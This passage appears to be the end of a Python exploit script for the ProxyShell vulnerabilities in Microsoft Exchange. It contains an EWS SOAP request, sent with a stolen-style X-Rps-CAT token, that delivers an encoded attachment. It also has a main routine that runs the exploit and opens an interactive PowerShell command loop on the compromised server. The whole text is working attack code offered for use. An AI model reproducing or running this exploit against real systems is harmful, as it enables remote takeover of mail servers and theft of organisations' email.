<t:Content>ldZUhrdpFDnNqQbf96nf2v+CYWdUhrdpFII5hvcGqRT/gtbahqXahoLZnl33BlQUt9MGObmp39opINOpDYzJ6Z45OTk52qWpzYy+2lz32tYUfoLaddpUKVTTDdqCD2uC9wbWqV3agskxvtrWadMG1trzRAYNMZ45OTk5IZ6V+9ZUhrdpFNk=</t:Content>
</t:FileAttachment>
</t:Attachments>
<t:ToRecipients>
<t:Mailbox>
<t:EmailAddress>{proxyshell.email}</t:EmailAddress>
</t:Mailbox>
</t:ToRecipients>
</t:Message>
</m:Items>
</m:CreateItem>
</soap:Body>
</soap:Envelope>
"""
headers = {
'Content-Type': 'text/xml'
}
r = proxyshell.post(
f'/EWS/exchange.asmx/?X-Rps-CAT={proxyshell.token}',
data=data,
headers=headers
)
return r
def main():
args = get_args()
exchange_url = args.u
email = args.e
local_port = args.p
proxyshell = ProxyShell(
exchange_url,
email
)
exploit(proxyshell)
start_server(proxyshell, local_port)
if args.c:
shell(args.c, local_port, proxyshell)
else:
while True:
shell(input('PS> '), local_port, proxyshell)
if __name__ == '__main__':
requests.packages.urllib3.disable_warnings(
requests.packages.urllib3.exceptions.InsecureRequestWarning
)
if not (sys.version_info.major == 3 and sys.version_info.minor >= 8):
print("This script requires Python 3.8 or higher!")
print("You are using Python {}.{}.".format(sys.version_info.major, sys.version_info.minor))
sys.exit(1)
main()